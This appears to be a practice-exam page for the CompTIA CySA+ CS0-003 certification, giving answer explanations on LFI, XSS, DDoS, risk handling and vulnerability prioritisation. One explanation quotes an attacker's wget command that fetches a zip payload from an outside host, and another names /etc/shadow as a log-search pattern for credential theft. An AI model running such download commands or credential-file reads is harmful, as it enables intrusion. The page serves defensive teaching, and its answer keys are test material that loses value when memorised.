CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Free Practice Exam Questions (2026 Updated)

/etc/shadow is the pattern that the security analyst can use to search the web server logs for evidence of exploitation of the LFI vulnerability that can be exploited to extract credentials from the underlying host. LFI stands for Local File Inclusion, which is a vulnerability that allows an attacker to include local files on the web server into the output of a web application. LFI can be exploited to extract sensitive information from the web server, such as configuration files, passwords, or source code. The /etc/shadow file is a file that stores the encrypted passwords of all users on a Linux system. If an attacker can exploit the LFI vulnerability to include this file into the web application output, they can obtain the credentials of the users on the web server. Therefore, the security analyst can look for /etc/shadow in the request line of the web server logs to see if any attacker has attempted or succeeded in exploiting the LFI vulnerability. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

A distributed denial-of-service (DDoS) attack is a type of cyberattack that aims to overwhelm a target’s network or server with a large volume of traffic from multiple sources. A common technique for launching a DDoS attack is to compromise DNS servers, which are responsible for resolving domain names into IP addresses. By flooding DNS servers with malicious requests, attackers can disrupt the normal functioning of the internet and prevent users from accessing external SaaS resources. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/

Risk Acceptance means acknowledging a risk and choosing not to take further action because the cost of mitigation may outweigh the benefits.

It is the last resort when:

The risk is low impact or unlikely to occur.

Other options (mitigation, transfer, avoidance) are not feasible.

Why Not Other Options?

A (Transfer) → Moving risk to a third party (e.g., insurance).

C (Mitigation) → Implementing security controls to reduce risk.

D (Avoidance) → Eliminating the risk entirely (e.g., discontinuing a service).

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

The correct answer is A because the incident involves PHI — protected health information. Healthcare organizations are subject to regulatory requirements such as HIPAA, and incidents involving unauthorized access to PHI commonly require regulatory reporting and notification to affected individuals.

Exact supporting extract: the Secbay CySA+ guide states that some regulations require organizations to report incidents and notify affected individuals when privacy-impacting incidents occur. It also gives the specific example of a healthcare organization experiencing a breach of patient records and explains that reporting to regulatory authorities and notifying affected individuals demonstrates compliance, accountability, and transparency.

Another exact supporting extract states that PHI includes medical records and must be protected in specific ways under HIPAA. It also states that incident response should coordinate with regulatory bodies for industries such as healthcare.

The official CompTIA CySA+ CS0-003 objectives also place this under incident response reporting and communication, including legal, public relations/customer communication, regulatory reporting, and law enforcement.

Why the other options are incorrect:

B is incorrect because patient notification is not primarily done to appease stakeholders.

C is partially related, but not the best answer. The direct reason is regulatory compliance.

D is incorrect because communicating with patients is separate from communicating with law enforcement.

Reconnaissance is the first stage in the Cyber Kill Chain and involves researching potential targets before carrying out any penetration testing. The reconnaissance stage may include identifying potential targets, finding their vulnerabilities, discovering which third parties are connected to them (and what data they can access), and exploring existing entry points as well as finding new ones. Reconnaissance can take place both online and offline. In this case, an analyst finds that an IP address outside of the company network is being used to run network and vulnerability scans across external-facing assets. This indicates that the analyst is witnessing reconnaissance activity by an attacker. Official References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

Comprehensive and Detailed Step-by-Step Explanation:Non-persistent virtual desktop infrastructures (VDIs) are the most suitable choice to ensure consistent security across different locations. Non-persistent VDIs revert to their original state after a session, reducing the risk of data leakage or malware persistence. These systems are centrally managed, ensuring uniform security policies regardless of the user ' s location.

CVE details and IoCs are information that would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly. CVE details provide the description, severity, impact, and solution of the vulnerabilities that affect the servers. IoCs are indicators of compromise that help identify and respond to potential threats or attacks on the servers. References: Server and Workstation Patch Management Policy, Section: Policy; Patch Management Policy: Why You Need One in 2024, Section: What is a patch management policy?

The most likely cause of the issue where an ICS (Industrial Control System) could not be updated due to hardware versioning incompatibility is a legacy system. Legacy systems often have outdated hardware and software that may not be compatible with modern updates and patches. This can pose significant challenges in maintaining security and operational efficiency.

Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider’s APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud-specific misconfigurations may not be detected by the current scanners.

The most likely reason for this vulnerability is B. The developer did not set proper cross-site scripting protections in the header. Cross-site scripting (XSS) is a type of web application vulnerability that allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim1.

One of the common ways to prevent XSS attacks is to set proper HTTP response headers that instruct the browser how to handle the content of the web page. For example, the Content-Type header can specify the MIME type and character encoding of the web page, which can help the browser avoid interpreting data as code. The X-XSS-Protection header can enable or disable the browser’s built-in XSS filter, which can block or sanitize suspicious scripts. The Content-Security-Policy header can define a whitelist of sources and directives that control what resources and scripts can be loaded or executed on the web page2.

According to the output of Arachni, a web application security scanner framework3, it detected an XSS vulnerability in the form input ‘txtSearch’ with action https://localhost/search.aspx. This means that Arachni was able to inject a malicious script into the input field and observe its execution in the response. This indicates that the developer did not set proper cross-site scripting protections in the header of search.aspx, which allowed Arachni to bypass the browser’s default security mechanisms and execute arbitrary code on the web page.

SIEM (Security Information and Event Management) technology aggregates and analyzes activity from many different resources across your IT infrastructure. The description of correlating information from various sources and triggering notifications aligns with the capabilities of a SIEM system.

When two vulnerabilities are both high severity (CVSS 8.1 and 8.5) and no compensating controls exist, the deciding factor for remediation prioritization becomes business impact and asset criticality/value (what matters most to the organization if compromised or taken offline for remediation).

That is exactly what a Business Impact Analysis (BIA) is used for: it is a formalized method to determine asset criticality/value designations and to prioritize response/remediation work based on business impact.

Supporting exact extracts:

The Secbay Press CS0-003 guide explicitly states that Business Impact Analysis is used to align vulnerability prioritization with critical business functions:Exact extract (Secbay Press): “Business Impact Analysis: … Considers the potential impact of vulnerabilities on critical business functions … prioritizing vulnerabilities that could impact core business processes.”

It also describes the vulnerability prioritization process as combining severity/exploitability with asset criticality assessment (which is informed by business owners and BIA outputs):Exact extract (Secbay Press): “Asset Criticality Assessment: Evaluate the criticality of assets affected… Consider the importance of assets in business operations, data sensitivity, and regulatory compliance.”

The All-in-One CS0-003 guide reinforces that asset value (sensitivity + criticality) is one of the most important drivers of remediation timing/prioritization:Exact extract (All-in-One Exam Guide): “Asset value is… one of the most important factors in determining how quickly you should remediate vulnerabilities…” and asset value is tied to “sensitivity and criticality.”

Applying this to the scenario

HQFIN01 supports financial transactions for the largest business unit → typically extremely high criticality (availability) and often high sensitivity/integrity requirements.

HQADMIN02 is used by a privileged user and could be high risk too (admin access), but the question asks what the team would do to determine prioritization: the correct step is to reference BIA/value designation and then prioritize based on which asset is more critical to business operations.

Why the other options are incorrect

A (Review BCP and patch what takes longer to bring online): BCP/DR planning is not the primary method for vulnerability remediation ranking; prioritization is risk-based and commonly driven by asset criticality/business impact (BIA), not “time to bring online.”

B (Fix the faster one first): Speed of remediation is not the main driver; risk reduction and business impact are.

D (Least recent backups): Backup recency matters for recovery and resilience, but it’s not the primary determinant for vulnerability remediation priority versus asset criticality and business impact.

References (CompTIA CySA+ CS0-003 documents / study guides used):

Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): BIA used to prioritize vulnerabilities impacting critical business functions; asset criticality assessment in prioritization process

Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): asset value (sensitivity + criticality) drives how quickly vulnerabilities should be remediated

Outdated librariesin a legacy web applicationintroduce security vulnerabilities, as theylack modern patchesandcontain known exploits​.

Option A (Misconfigured WAF)can contribute to security issues but is notinherent to legacy applications.

Option B (Data integrity failure)is apotential impactbut not a direct cause of recurring incidents.

Option D (Insufficient logging)affects detection, but theroot causeisinsecure, outdated components.

Thus,C (Outdated libraries) is the correct answer, aslegacy applications frequently suffer from unpatched vulnerabilities​.

The correct answer is A because CVSS severity alone is not enough to confirm remediation priority. The vulnerability manager needs to know the criticality of the affected hosts/assets. For example, a slightly lower CVSS vulnerability on a public-facing, business-critical system may require faster remediation than a higher CVSS vulnerability on a low-value internal system.

The CySA+ All-in-One guide states that remediation priority should consider exploitability, whether a vulnerability is weaponized, patch availability, and asset value and criticality. It also explains that analysts must consider business impact when deciding how to remediate vulnerabilities.

The Secbay CySA+ guide also explains that vulnerability prioritization should evaluate severity, exploitability, and the criticality of affected systems, including business operations, data sensitivity, and regulatory impact.

Why the other options are incorrect:

B is incorrect because SLA information determines remediation timelines after priority is established.

C is incorrect because KPIs measure performance, not asset priority.

D is incorrect because the scenario does not state these are zero-day vulnerabilities.

 XSS (cross-site scripting) is the vulnerability type that the security analyst is validating, as the snippet shows an attempt to inject a script tag into the web application. XSS is a web security vulnerability that allows an attacker to execute arbitrary JavaScript code in the browser of another user who visits the vulnerable website. XSS can be used to perform various malicious actions, such as stealing cookies, session hijacking, phishing, or defacing websites. The other vulnerability types are not relevant to the snippet, as they involve different kinds of attacks. Directory traversal is an attack that allows an attacker to access files and directories that are outside of the web root folder. XXE (XML external entity) injection is an attack that allows an attacker to interfere with an application’s processing of XML data, and potentially access files or systems. SSRF (server-side request forgery) is an attack that allows an attacker to induce the server-side application to make requests to an unintended location. Official References:

https://portswigger.net/web-security/xxe

https://portswigger.net/web-security/ssrf

https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

The scan output where ports are marked as “closed” suggests the use of ahalf-open or SYN scan. In a SYN scan, the scanner sends only the initial SYN packet and does not complete the TCP handshake. If a SYN-ACK is received, the port is open; if a RST is received, it is closed. This scanning method is also referred to as astealth scanand is frequently used to avoid detection.

Compensating controls are the best approach to minimize the risk of the outdated servers being compromised, as they can provide an alternative or additional layer of security when the primary control is not feasible or effective. Compensating controls are security measures that are implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. For example, if the servers are running outdated operating systems and cannot be patched, a compensating control could be to isolate them from the rest of the network, or to implement a firewall or an intrusion prevention system to monitor and block any malicious traffic to or from the servers. Compensating controls can help reduce the likelihood or impact of an exploit, but they do not eliminate the risk completely. Therefore, the security analyst should also consider upgrading or replacing the outdated servers as soon as possible.